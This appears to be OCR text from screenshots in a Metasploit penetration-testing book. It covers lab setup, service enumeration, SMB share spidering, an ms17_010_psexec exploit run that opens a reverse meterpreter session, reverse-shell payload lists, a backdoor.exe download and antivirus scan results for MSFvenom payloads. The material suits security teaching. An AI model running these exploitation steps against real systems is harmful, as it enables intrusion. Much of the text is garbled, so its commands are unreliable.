Chapter 1: Metasploit Quick Tips for Security
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ﬂ Metasploit-framework v4,16,14 Setup — >

Welcome to the Metasploit-framework
v4.16.14 Setup Wizard

The Setup Wizard will install Metasploit-framework v4, 16, 14
on your computer, Click Mext to continue or Cancel to exit
the Setup Wizard,
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Back Mext I | Cancel
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‘& Install Metasploit-framework

We!!me to the Metasploit-fran-. Installer

This will install Metasploit Framework and its dependencies on your Mac.

The framework itself will be installed under /opt/metasploit-framework/
framework. Convenience wrappers for the commands are installed
under /opt/metasploit-framework/bin, which can be added to your
PATH environment variable.

If you want to use a database with the framework, you can use the
'msfdb' command to configure, start and stop it. Run opt/metasploit-
framework/bin/msfdb' for more information.

This is an unofficial installer and a work in progress.

If you are interested in Metasploit Framework development, see the
Github Project and the Development Wiki.

Thank you for using Metasploit! Have a fantastic day!

Continue
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Applications «

Favorites armitage
01 - Information Gathering

beef xss fr...
02 - Vulnerability Analysis

03 - Web Application Analysis metasploit ...

04 - Database Assessment P
msf payloa...

05 - Password Attacks

- searchsploit
06 - Wireless Attacks ; P
07 - Reverse Engineering social engi...

08 - Exploitation Tools :
sqlmap

09 - Sniffing & Spoofing . \
10 - Post Exploitation termineter \

11 - Forensics

12 - Reporting Tools

13 - Social Engineering Tools
14 - System Services

Usual applications

192.168.216.0/24

R

10.0.0.0/24

|
=

TR
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o Show All Kali Linux: Netwaork Adapter Add Device...

Connect Network Adapter

This network adapter is configured to use:

Internet Sharing

5 The virtual machine shares the IP address of the Mac

® Share with my Mac -] on the external netwerk. The Mac provides Netwerk

Bridged Networking Addn_ass Translayon (MAT) for network traffic from
the virtual machine.

® Autodetect

® Wi-Fi

@ Bluetooth PAN

Custom
@ Private to my Mac
® vmnet2

» Advanced options
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i Metwork

8] =, A @ O

General Keyboard & Mouse Display Default Applications MNetwork Feedback

Internet Sharing
Share with my Mac The wirtual machine using this configuration will use a custom

N . network connection.
Bridged Networking

Autodetect Allow virtual machines on this network to connect
Wi-Fi to external networks (using NAT)
Bluetooth PAN Enable IPvE
Custom IPv6 Prefix:
F‘rl'u'atteztﬂ my Mac Port Forwarding
vmne Host Port  Type VM IP Address Description
+
Connect the host Mac to this network
Provide addresses on this network via DHCP
Subnet IP: 10.0.0.0
Subnet Mask: 255.255.255.0

_|_ —

Require authentication to enter promiscuous mode
I

Eﬂ Click the lock to prevent further changes.
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Show All Metasploitable 2: Network Adapter 2 Add Device...

4 Connect Network Adapter

This network adapter is configured to use:

The virtual machine uses a custom network

® Share with my Mac SERREETE,

@ Autodetect Name: vmnet2
® Wi-Fi Type: Custom
® Bluetooth PAN Subnet IP: 10.0.0.0

Subnet Mask: 255.255.255.0
® Private to my Mac

@ vmnet2 .

Advanced options ?
i F‘@ % LT S .| pod >> To release your mouse press: Control-38

root@metasploitable:™# ip a
1: lo: <LOOPBACK,UFP,LOWER_UP> mtu 16436 gdisc nogueue
linksloopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1-/8 =scope host lo
inetb ::1-128 scope host
valid_Ift forever preferred_Ift forever
etho: <{BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc pfifo_fast glen 1000
linksether 00:0c:29:79:a6:61 brd ff:ff:ff:ff:ff:ff
inet 192.168.216.129-24 brd 192.168.216.255 scope global etho
inetb fed0::20c:29ff :fe?9:abb61-64 =scope link
valid_I1ft forever preferred_I1ft forever
ethl: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc pfifo_fast glen 1000
linksether 00:0c:29:79:ab:6b brd FE:ff:Ff:fL:FF:FF
inet 10.0.0.128-24 brd 10.0.0.255 scope global ethl
inetb feB0::20c:29ff :fe?9:abbb- 64 scope link
valid_Ift forever preferred_I1ft forever
root@metasploitable:™#
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Y

@® [ ] daniel — root@kali: ~ — ssh root@192.168.216.5 — 96x16
bash-3.2% ssh root@192.168.216.5
The authenticity of host '192.168.216.5 (192.168.216.5)' can't be established.
ECDSA key fingerprint is SHA256:AsKN1UgWBhX1RkciCHZEXWXZRtfoV]1zZ2KlalrUmiLU.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.216.5' (ECDSA) to the list of known hosts.
root@192.168.216.5"'s password:

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 17 06:24:37 2017 from 192.168.216.1

#

@® [ ) daniel — root@kali: ~ — ssh root@192.168.216.5 — 96x13

mac name os_name os_flavor os_sp purpose info comments

192.168.216.10 00:0c:29:38:b3:a9 Windows 7 client
192.168.216.129 00:0c:29:79:a6:61 Linux 2.6.X server

mst >
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® [ ) daniel — root@kali: ~ — ssh root@192.168.216.5 — 96x13

-C address,os_name

os_name

192.168.216.10 Windows 7
192.168.216.129 Linux

® ] daniel — root@kali: ~ — ssh root®192.168.216.5 — 96x13
-c address,os_name -S Windows

os_name

192.168.216.10 Windows 7

msr >
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. () daniel — root@kali: ~ — ssh root@192.168.216.5 — 124x26
msf > services

proto name info
ssh OpenSSH 7.1 protocol 2.0
tcp msrpc Microsoft Windows RPC
tcp netbios-ssn Microsoft Windows netbios-ssn
tcp microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
tcp http WEBrick httpd 1.3.1 Ruby 2.3.3 (2016-11-21)
tcp mysql MySQL 5.5.20-1og
tcp tcpwrapped
tcp ssl/http Oracle Glassfish Application Server
tcp java-message-service Java Message Service 301
tep ajpl3 Apache Jserv Protocol v1.3
tcp http Apache Tomcat/Coyote JSP engine 1.1
tep ss1/unknown
tep http Sun GlassFish Open Source Edition 4.0
tcp ss1/intermapper
tcp ssl/http Apache httpd
tep ssl/https-alt
tcp http Elasticsearch REST API 1.1.1 name: Atum; Lucene 4.7
tcp msrpc Microsoft Windows RPC
tcp msrpc Microsoft Windows RPC

® [ ] daniel — root@kali: ~ — ssh root@192.168.216.5 — 96x13
msf > services -s ftp

Services

info

192.168.216.129 vsftpd 2.3.4
192.168.216.129 ProFTPD 1.3.1

mst >
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[ NON ) daniel — root@kali: ~ — ssh root@192.168.216.5 — 96x13
msf > services -p 22

Services

port proto name state info

192.168.216.10 22 ssh open OpenSSH 7.1 protocol 2.0
192.168.216.129 22 tcp ssh open OpenSSH 4.7pl Debian 8ubuntul protocol 2.0

msf >

® ® daniel — root@kali: ~ — ssh root@192.168.216.5 — 96x15
msf > services -S Apache

Services

port name info

.168.216.10 8009 ajpl3 Apache Jserv Protocol v1.3

.168.216.10 8022 http Apache Tomcat/Coyote JSP engine 1.1
.168.216.10 8383 ssl/http Apache httpd

.168.216.129 80 http Apache httpd 2.2.8 (Ubuntu) DAV/2
.168.216.129 8009 ajpl3 Apache Jserv Protocol v1.3
.168.216.129 8180 http Apache Tomcat/Coyote JSP engine 1.1

>
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® [ ] daniel — root@kali: ~ — ssh root@192.168.216.5 — 96x15
msf > services -c name,port,info -S Apache 192.168.216.10

Services

name port 1info

192.168.216.10 ajpl3 8009 Apache Jserv Protocol v1.3
192.168.216.1@0 http 8022 Apache Tomcat/Coyote JSP engine 1.1
192.168.216.10 ssl/http 8383 Apache httpd

msf >
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Chapter 2: Information Gathering and
Scanning

msf auxiliary( ) > info

DNS Record Scanner and Enumerator
auxiliary/gather/enum_dns
Metasploit Framework License (BSD)
Normal

Provided by:
Carlos Perez <carlos_perez@darkoperator.com>
Nixawk

Basic options:
Current Setting
packtpub.com yes The target domain
true yes Enumerate DNS A record
ENUM_AXFR true yes Initiate a zone transfer against each NS record
ENUM_BRT false yes Brute force subdomains and hostnames via the supplied wordlist
ENUM_CNAME  true yes Enumerate DNS CNAME record
ENUM_MX true yes Enumerate DNS MX record
ENUM_NS true yes Enumerate DNS NS record
ENUM_RVL false yes Reverse lookup a range of IP addresses
ENUM_SOA true yes Enumerate DNS SOA record
ENUM_SRV true yes Enumerate the most common SRV records
ENUM_TLD false yes Perform a TLD expansion by replacing the TLD with the IANA TLD list
ENUM_TXT true Enumerate DNS TXT record
IPRANGE The target address range or CIDR identifier
NS Specify the nameserver to use for queries (default is system DNS)
STOP_WLDCRD false Stops bruteforce enumeration if wildcard resolution is detected
THREADS 10 Threads for ENUM_BRT
WORDLIST /usr/share/metasploit-framework/data/wordlists/namelist.txt Wordlist of subdomains

Description:
This module can be used to gather information about a domain from a
given DNS server by performing various DNS queries such as zone
transfers, reverse lookups, SRV record brute forcing, and other
techniques.

References:
https://cvedetails.com/cve/CVE-1999-0532/
0SVDB (492)

sf auxiliary( D >

] ( ] daniel — root@kali: ~ — ssh root@192.168.216.5 — 108x18
msf > search portscan

Matching Modules

Name Disclosure Date R Description
auxiliary/scanner/http/wordpress_pingback_access normal Wordpress Pingback Locator
auxiliary/scanner/natpmp/natpmp_portscan normal NAT-PMP External Port Scanner
auxiliary/scanner/portscan/ack normal TCP ACK Firewall Scanner

auxiliary/scanner/portscan/ftpbounce normal FTP Bounce Port Scanner
auxiliary/scanner/portscan/syn normal TCP SYN Port Scanner
auxiliary/scanner/portscan/tcp normal TCP Port Scanner
auxiliary/scanner/portscan/xmas normal TCP "XMas" Port Scanner
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
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@® [ ) daniel — root@kali: ~ — ssh root@192.168.216.5 — 122x33
msf > use auxiliary/scanner/smb/smb_enumshares

msf auxiliary( ) > set SMBPASS vagrant
SMBPASS => vagrant

msf auxiliary( ) > set SMBUSER vagrant
SMBUSER => vagrant

msf auxiliary( ) > set RHOSTS 192.168.216.10
RHOSTS => 192.168.216.10

msf auxiliary( ) > set ShowFiles true
ShowFiles => true

msf auxiliary( ) > set SpiderShares true
SpiderShares => true

msf auxiliary( ) > run

192.168.216.10:139 Login Failed: The SMB server did not reply to our request
192.168.216.10:445 Windows 2008 R2 Service Pack 1 (Unknown)
192.168.216.10:445 ADMIN$ - (DS) Remote Admin

192.168.216.10:445 C$ - (DS) Default share

192.168.216.10:445 IPC$ - (I) Remote IPC

192 \C$\Users\Public\Desktop

Type Name Created Accessed Written Changed Size

ARC  Boxstarter Shell.lnk

\C$\Users\Public\Documents

Name Created Accessed Size

jack_of_hearts.docx 679936
seven_of_spades.pdf ©9-19-2017 22:09:53 ©9-19-2017 22:09:53 09-19-2017 13:44:11 09-19-2017 22:09:53 507904
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daniel — root@kali: ~ — ssh root@192.168.216.5 — 111=32

an_detat

em Information D

with Admin Privileges
nnot A the Win

daniel — root@kali: ~ — ssh root@192.168.216.5 — 103x11

an End Time
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daniel — root@kali: ~ — ssh root@192.168.216.5 — 10318

I L Form ..
can ID 9 is 15

daniel — root@kali: ~ — ssh root@192.168.216.5 — 96x14
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daniel — root@kali: ~ — ssh root@192.168.216.5 — 132x14

daniel — root@kali: ~ — ssh root@192.168.216.5 — 132=14

daniel — root@kali: ~ — ssh root@192.168.216.5 — 133x25

Hamea
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daniel — root@kali: ~ — ssh root@192.168.216.5 — 96x=12

Mame

daniel — root@kali: ~ — ssh root@192.168.216.5 — 96x12

daniel — root@kali: ~ — ssh root@192.168.216.5 — 96x12

port_import d

Importing report to datab
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daniel — root@kali: ~ — ssh root@192.168.216.5 — 96x19

rt Yulnerable Ciph

port Yulnerable Ciph
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Chapter 3: Server-Side Exploitation

® [ J daniel — root@kali: ~ — ssh root@192.168.216.5 — 121x14
msf > search cve:2007 type:exploit samba

Name Disclosure Date Rank Description
exploit/linux/samba/1sa_transnames_heap 2007-05-14 good Samba 1sa_io_trans_names Heap Overflow
exploit/multi/samba/usermap_script 2007-05-14 excellent Samba "username map script" Command Execution
exploit/osx/samba/1sa_transnames_heap 2007-05-14 average Samba 1sa_io_trans_names Heap Overflow
exploit/solaris/samba/1sa_transnames_heap 2007-05-14 average Samba 1sa_io_trans_names Heap Overflow

msf >

® @ daniel — root@kali: ~ — ssh root@192.168.216.5 — 117x40
msf exploit( ) > show payloads

Compatible Payloads

Name Disclosure Date Rank Description

cmd/unix/bind_awk normal Command Shell, Bind TCP (via AWK)
cmd/unix/bind_inetd normal Unix Command Shell, Bind TCP (inetd)
cmd/unix/bind_lua normal Unix Command Shell, Bind TCP (via Lua)
cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat)
cmd/unix/bind_netcat_gaping normal Unix Command Shell, Bind TCP (via netcat -e)
cmd/unix/bind_netcat_gaping_ipv6 normal Unix Command Shell, Bind TCP (via netcat -e) IPv6
cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via Perl)
cmd/unix/bind_perl_ipv6 normal Unix Command Shell, Bind TCP (via perl) IPv6
cmd/unix/bind_r normal Unix Command Shell, Bind TCP (via R)
cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/bind_ruby_ipv6 normal Unix Command Shell, Bind TCP (via Ruby) IPv6
cmd/unix/bind_zsh normal Unix Command Shell, Bind TCP (via Zsh)
cmd/unix/generic normal Unix Command, Generic Command Execution
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
cmd/unix/reverse_awk normal Unix Command Shell, Reverse TCP (via AWK)
cmd/unix/reverse_lua normal Unix Command Shell, Reverse TCP (via Lua)
cmd/unix/reverse_ncat_ssl normal Unix Command Shell, Reverse TCP (via ncat)
cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat)
cmd/unix/reverse_netcat_gaping normal Unix Command Shell, Reverse TCP (via netcat -e)
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via Perl)
cmd/unix/reverse_perl_ssl normal Unix Command Shell, Reverse TCP SSL (via perl)
cmd/unix/reverse_php_ssl normal Unix Command Shell, Reverse TCP SSL (via php)
cmd/unix/reverse_python normal Unix Command Shell, Reverse TCP (via Python)
cmd/unix/reverse_python_ssl normal Unix Command Shell, Reverse TCP SSL (via python)
cmd/unix/reverse_r normal Unix Command Shell, Reverse TCP (via R)
cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby)
cmd/unix/reverse_ruby_ssl normal Unix Command Shell, Reverse TCP SSL (via Ruby)
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
cmd/unix/reverse_zsh normal Unix Command Shell, Reverse TCP (via Zsh)

msf exploit( ) >
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daniel — root@kali: ~ — ssh root@192.168.216.5 — 155x12

msf exploit( ) > sessions

Active sessions

Information Connection

shell cmd/unix 192.168.216.5:4444 -> 192.168.216.129:53381 (192.168.216.129)
meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain 192.168.216.5:4433 -> 192.168.216.129:55623 (192.168.216.129)

msf exploit( ) >
EDB-ID: 39514 Author: Metasploit Published: 2016-03-01
CVE: CVE-2016-2555 Type: Remote Platform: PHP
Aliases: N/A Advisory/Source: N/A Tags: Metasploit Framework
E-DB Verified: Exploit: §§ Download /[ View Raw Vulnerable App: [7]

@ daniel — root@kali: ~ — ssh root@192.168.216.5 — 103x23
msf > use exploit/multi/http/atutor_sqli

sf exploit( ) > show options

Module options (exploit/multi/http/atutor_sqli):

Name Current Setting Required Description

Proxies A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

TARGETURI /ATutor/ yes The path of Atutor

VHOST no HTTP server virtual host
Exploit target:

Id Name

Automatic

msf exploit(
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® o daniel — root@kali: ~ — ssh root@192.168.216.5 — 119x27
msf exploit( ) > show payloads

Compatible Payloads

Name Disclosure Date Rank Description

generic/custom normal Custom Payload

generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
php/bind_perl normal PHP Command Shell, Bind TCP (via Perl)
php/bind_perl_ipv6 normal PHP Command Shell, Bind TCP (via perl) IPvé6
php/bind_php normal PHP Command Shell, Bind TCP (via PHP)
php/bind_php_ipv6 normal PHP Command Shell, Bind TCP (via php) IPv6
php/download_exec normal PHP Executable Download and Execute

php/exec normal PHP Execute Command

php/meterpreter/bind_tcp normal PHP Meterpreter, Bind TCP Stager
php/meterpreter/bind_tcp_ipv6 normal PHP Meterpreter, Bind TCP Stager IPv6
php/meterpreter/bind_tcp_ipv6_uuid normal PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
php/meterpreter/bind_tcp_uuid normal PHP Meterpreter, Bind TCP Stager with UUID Support
php/meterpreter/reverse_tcp normal PHP Meterpreter, PHP Reverse TCP Stager
php/meterpreter/reverse_tcp_uuid normal PHP Meterpreter, PHP Reverse TCP Stager
php/meterpreter_reverse_tcp normal PHP Meterpreter, Reverse TCP Inline

php/reverse_perl normal PHP Command, Double Reverse TCP Connection (via Perl)
php/reverse_php normal PHP Command Shell, Reverse TCP (via PHP)

msf exploit(

Desktop Central 9

Integrated Desktop & Mobile Device Management Software

X | admin

B | ssess

Quick Links Contact Us Related Products

Quick Tour - Features nw.desktopcentral.com

OS Deployer

Supported Metworks [LANAVAN) desktopcentral-support@manageengine.com

+1 8887

500 Automated OS Deployment solution
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® o daniel — root@kali: ~ — ssh root@192.168.216.5 — 143x21
msf > search jenkins

Matching Modules

Name Disclosure Date Rank Description

auxiliary/gather/jenkins_cred_recovery normal Jenkins Domain Credential Recovery
auxiliary/scanner/http/jenkins_command normal Jenkins-CI Unauthenticated Script-Console Scanner
auxiliary/scanner/http/jenkins_enum normal Jenkins-CI Enumeration
auxiliary/scanner/http/jenkins_login normal Jenkins-CI Login Utility
auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum normal Jenkins Server Broadcast Enumeration
exploit/linux/misc/jenkins_java_deserialize 2015-11-18 excellent Jenkins CLI RMI Java Deserialization Vulnerability
exploit/linux/misc/opennms_java_serialize 2015-11-06 normal OpenNMS Java Object Unserialization Remote Code Execution
exploit/multi/http/jenkins_script_console 2013-01-18 good Jenkins-CI Script-Console Java Execution
exploit/windows/misc/ibm_websphere_java_deserialize 2015-11-06 excellent IBM WebSphere RCE Java Deserialization Vulnerability
post/multi/gather/jenkins_gather normal Jenkins Credential Collector

msf >

[ JOX ) daniel — root@kali: ~ — ssh root@192.168.216.5 — 125x38
msf exploit( ) > show options

Module options (exploit/multi/http/jenkins_script_console):

Name Current Setting Required Description

API_TOKEN The API token for the specified username

PASSWORD The password for the specified username

Proxies A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.216.10 The target address

RPORT 8484 The target port (TCP)

SRVHOST 0.0.0.0 The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 The local port to listen on.

SSL false Negotiate SSL/TLS for outgoing connections

SSLCert Path to a custom SSL certificate (default is randomly generated)
TARGETURI / The path to the Jenkins-CI application

URIPATH / The URI to use for this exploit (default is random)

USERNAME The username to authenticate as

VHOST HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.216.5 The listen address
LPORT 4444 The listen port

Exploit target:

Id Name

@ Windows

msf exploit(
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daniel — root@kali: ~ — ssh root@192.168.216.5 — 174x23

Jlnerability

® ) daniel — root@kali: ~ — ssh root@192.168.216.5 — 141x14

msf > search type:exploit psexec

Matching Modules

Name Disclosure Date Rank Description

exploit/windows/local/current_user_psexec 1999-01-01 excellent PsExec via Current User Token

exploit/windows/local/wmi 1999-01-01 excellent Windows Management Instrumentation (WMI) Remote Command Execution
exploit/windows/smb/psexec 1999-01-01 manual Microsoft Windows Authenticated User Code Execution
exploit/windows/smb/psexec_psh 1999-01-01 manual Microsoft Windows Authenticated Powershell Command Execution

. o daniel — root@kali: ~ — ssh root@192.168.216.5 — 110x22

msf > use exploit/windows/smb/ms17_010_psexec

msf exploit( ) > set RHOST 192.168.216.10

RHOST => 192.168.216.10

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit( ) > set LHOST 192.168.216.5

LHOST => 192.168.216.5

msf exploit( ) > run

Started reverse TCP handler on 192.168.216.5:4444

192.168.216.10:445 - Target 0S: Windows Server 2008 R2 Standard 7601 Service Pack 1

192.168.216.10:445 - Built a write-what-where primitive...

192.168.216.10:445 - Overwrite complete... SYSTEM session obtained!

192.168.216.10:445 - Selecting PowerShell target

192.168.216.10:445 - Executing the payload...

192.168.216.10:445 - Service start timed out, OK if running a command or non-service executable...
Sending stage (179779 bytes) to 192.168.216.10

Meterpreter session 1 opened (192.168.216.5:4444 -> 192.168.216.10:51967) at 2018-02-10 05:46:20 -0500

meterpreter > getuid
Server username: NT AUTHORITY\

meterpreter >
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O daniel — root@kali: ~ — ssh root@192.168.216.5 — 141x14.

meterpreter > ps -S httpd.exe
Filtering on 'httpd.exe'

Process List

User

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\LOCAL SERVICE

PID

1416
1768
3212
3820

PPID
1768
432
432
3212

Name Arch Session

dcserverhttpd.exe
dcserverhttpd. exe
httpd.exe
httpd.exe

x86
x86
x64
x64

meterpreter

Path

C:\ManageEngine\DesktopCentral_Server\apache\bin\dcserverhttpd.exe

C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe

Active sessions

Type Information
meterpreter x64/windows
meterpreter x64/windows

meterpreter x64/windows

D >

msf exploit(

daniel — root@Kkali: ~ — ssh root@192.168.216.5 — 141x11

NT AUTHORITY\SYSTEM @ VAGRANT-2008R2
NT AUTHORITY\LOCAL SERVICE @ VAGRANT-2008R2
NT AUTHORITY\LOCAL SERVICE @ VAGRANT-2008R2

Connection

192.168.216.5:4444 -> 192.168.216.10:49300 (192.168.216.10)
192.168.216.5:4444 -> 192.168.216.10:49367 (192.168.216.10)
192.168.216.5:4444 -> 192.168.216.10:49368 (192.168.216.10)

File Options View Help
-Applicaﬁons ] Processes ] Services Performance |Netw0rking | Users |

CPU Usage CPU Usage History

Memory Physical Memory Usage History

Physical Memory (ME) System

Total 4095 Handles 22827

Cached 9 Threads 1187

Available 9 Processes a4

Free 0 Up Time 0:00:01:37
Commit (MB) 5775 /8189

Kernel Memary (MB)

Paged a6

Nonpaged 1850 Resource Monitor...

Processes: 84 CPU Usage: 53%; Physical Memory: 99%:
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Chapter 4: Meterpreter

Exploit + 1st Stage Payload

Payload Connects back to MSF

2nd Stage DLL Injection Payload Sent

MSF Sends Meterpreter Server DLL

Client and Server Communicate
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meterpreter > ps

Process List

Name

[System Process]

System

taskeng.exe NT AUTHORITY\SYSTEM C:\Windows\System32\taskeng.exe
smss.exe NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe
svchost.exe NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
csrss.exe NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe

Meterpreter command

e Communication Channel Meterpreter [Exploited
° “ process process

Meterpreter Server response
Pen-testing machine

[28]
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General | Securty | Details | Previous Versions |

‘ Wag
Type of file:  Text Document (bd) DS
Opens with: | Notepad Change...
Location: CA\
Size: 9 bytes (9 bytes)
Size on disk: 4.00 KB (4,096 bytes)
Created: Monday, October 30, 2017, 8:24:57 AM
Modffied: Monday, October 30, 2017, 8:24:57 AM
Accessed: Monday, October 30, 2017, 8:24:57 AM
Attributes: [” Readonly [ Hidden Advanced...

ok | Cancel

R
= l:| 0] _Irl
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[Q Image Viewer v

JUEOMRHKk.jpeg o0

Properties X
Size 800 x 600 pixels
JPEG image

13.8 kB

- Gl 9:51AM
FE I E D ™

LSRR8 000
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meterpreter >
meterpreter > transport -h
Usage: transport <listlchangeladd|next|prev|remove> [options]

list: list the currently active transports.
add: add a new transport to the transport list.
change: same as add, but changes directly to the added entry.
next: jump to the next transport in the list (no options).
prev: jump to the previous transport in the list (no options).
remove: remove an existing, non-active transport.

OPTIONS:

-A <opt> User agent for HTTP/S transports (optional)

-B <opt> Proxy type for HTTP/S transports (optional: http, socks; default: http)
-C <opt> Comms timeout (seconds) (default: same as current session)

-H <opt> Proxy host for HTTP/S transports (optional)

-N <opt> Proxy password for HTTP/S transports (optional)

-P <opt> Proxy port for HTTP/S transports (optional)

-T <opt> Retry total time (seconds) (default: same as current session)

-U <opt> Proxy username for HTTP/S transports (optional)

-W <opt> Retry wait time (seconds) (default: same as current session)

-X <opt> Expiration timout (seconds) (default: same as current session)

-c <opt> SSL certificate path for https transport verification (optional)

-h Help menu

-i <opt> Specify transport by index (currently supported: remove)

-1 <opt> LHOST parameter (for reverse transports)

-p <opt> LPORT parameter

-t <opt> Transport type: reverse_tcp, reverse_http, reverse_https, bind_tcp

-u <opt> Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)
-v Show the verbose format of the transport list

meterpreter >

Microzoft Windows [Uersion 6.1.766811
Copuyright <c>» 2009 Microsoft Corporation. All rights reserved.

C:=~Users~Administrator>ftp 192.168.216.129%
Connected to 192 _168_.216.129.

220 CvzFTPd 2.3.4>

Uzer C172_168_216_129:Cnone?>: usep

331 FPlease specify the password.

Pazzword:

238 Login successful.

ftpr _
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Applications «

Recyde Bin

E;:?

Foxstarter Shell

Places v [0 Vncviewer «

TightVNC: vagrant-2008r2

System Properties

-Cnmputer Mame ] Hardware ] Advanced Remate |
Femote Assistance

r

[ e

Femote Deshkiop

Click an option, and then specify who can connect, f needed.

+ Dont allow connections to this computer

" Allow connections from computers running any version of
Remote Desktop (less secure)

" Allow connections only from computers running Remaote
Desktop with Metwork Level Authertication (more secure)

Help me choose Select Users..

[ ok | cancel | Apply
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rdesktop - 192.168.216.10

B [

Administrator Other User

e

%/ Windows Server 2008

Standard
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Chapter 5: Post-Exploitation

t/atx/hashdump
utfﬂﬂdPﬂidfFDDtUPﬁe'“
fandrold/
idrol

cam_chat

canpraobe

Microsoft Windows [Uerszion 6.1.76611
Copuright <c> 2009 Microsoft Corporation. All rights reserved.

C:sUzers“IElser>ftp 192_168_216.5

Connected to 192_168.216.5.

228 FTP Server Ready

Uzer C172_168.216.5:Cnone>>: Hacker

331 User name okay. need password...

Pazzword:

2380 Login OK

ftp> hinary

2080 Tuype iz set

ftp> get bhackdoor.exe

208 PORT command successful.

158 Opening BIMARY mode data connection for backdoor.exe
226 Transfer complete.

ftp: 73EA2 bhytes received in A.BASeconds YIiEAZ000.HAAKbhytes sec.
ftp> guit

221 Logout

C:xlUzerssIElzerrhackdoor.exe
C:sllzerssIElser
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exploit(

NTLM
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192.168.216.0/24 10.0.0.0/24
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ﬁ’ Registry Editor

File Edit View Favorites Help

HelpAndSupport || Mame Type Data
[ Hints 2] (Default) REG_SZ (value not set)
HomeGroup 24 ConsentPromptBehaviorAdmin REG_DWORD 000000005 (5)
:ﬂ:::nersiveShell | ConsentPromptBehaviorUser REG_DWORD (00000003 (3)
InkPresenter | dontdisplaylastusername REG_DWORD 000000000 (0)
InstallAgent 3| D3CAutomationHostEnabled REG_DWORD O 00000002 (2)
Installer | EnableCursorSuppression REG_DWORD OneDOO0000T (1)
Internet Settings Ws| EnablelnstallerDetection REG_DWORD Ox 00000001 (1)
Live Wo| EnablelUA REG_DWORD Oxe0000000T (1)
Lock Screen iwo| EnableSecureUlAPaths REG_DWORD 000000001 (1)
Management Infrastructure ?Il'l;_ EnableUlADeskto FITCIgg|E REG_DWORD Ox 00000000 (0)
Media Center 3| EnableVirtualization REG_DWORD O 00000001 (1)
MMDevices ab||legalnoticecaption REG_SZ
MNedAutoSetup ab|legalnoticetext REG_SZ
NetCache i LocalAccountTokenFilterPolicy REG_DWORD 0x00000001 (1)
MetwaorkServiceTriggers | PromptOnSecureDesktop REG_DWORD xDO00000T (1)
: Motifications 7| scforcenption REG_DWORD 0x00000000 (0)
- OEMInformation %] shutdownwithoutlogen REG_DWORD 0x00000001 (1)
r-1j OneDriveRamps %4 undockwithoutlogon REG_DWORD 0x00000001 (1)
SOBEWth 24| ValidateAdminCodeSignatures REG_DWORD (x00000000 (0)
penWi
Optimallayout
Parental Controls
----- Personalization
, PhotoPropertyHandler
v .| | Policies
E Attachments
DataCellection
Explorer
: MonEnum
v System
e | Audit
UIPI
PrecisionTouchPad
----- PreviewHandlers
, PropertySystem
Proximity Y
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[“1 Windows Features —

Turn Windows features on or off

a

To turn a feature on, select its check box, To turn a feature off, clear its

check box. A filled box means that only part of the feature is turned on.

[

MET Framework 3.5 (includes .MET 2.0 and 3.0)
MET Framework 4.6 Advanced Services
Active Directory Lightweight Directory Services

&

Ermbedded Boot Experience

Embedded Logon

Embedded Shell Launcher

Hyper-¥

Internet Explorer 11

Internet Infermation Services Hostakle Web Core
Keyboard Filter

| enary Comnnnents

F

10O ] (& 101 03 00 O (]

F

Cancel

x
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== Windows

Internet Information Services

Welcome Bienvenue Tervetuloa
# Benvenuto &

( 3 b.' Bienvenido Hos geldiniz | o'~an oona

Welkom
Bem-vindo 1
Kohwg

Jlobpo
Vitejte OplOQTE

noxanosats | Udvozoljik

(FENEPIND /¢

Microsoft Willkommen [Velkemmen -

Windows Security ? >

Please enter user credentials

User name: | ﬁ WINDOWS 10Vser Al |

Password: | TN |
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um_ad

Um_ad_LSer_t
I User
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Chapter 6: Using MSFvenom

Hame

:p —-payl

n with P
bind
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MessageBox >

First Payload

oK

Detection Details
Ad-Aware

AlYac

Avast

Avira

Baidu

Bkav

ClamAv
CrowdStrike Falcon
Cyren

eGambit

Endgame
ESET-NOD32
F-Secure

GData

49 engines detected this file

SHA-256
File name encoded.exe
File size 72.07 KB

Last analysis

Community

A Trojan.CryptZ.Gen
Trojan.CryptZ.Gen
Win32:5wPatch [Wrm]

TR/Crypt. EPACK.Gen2

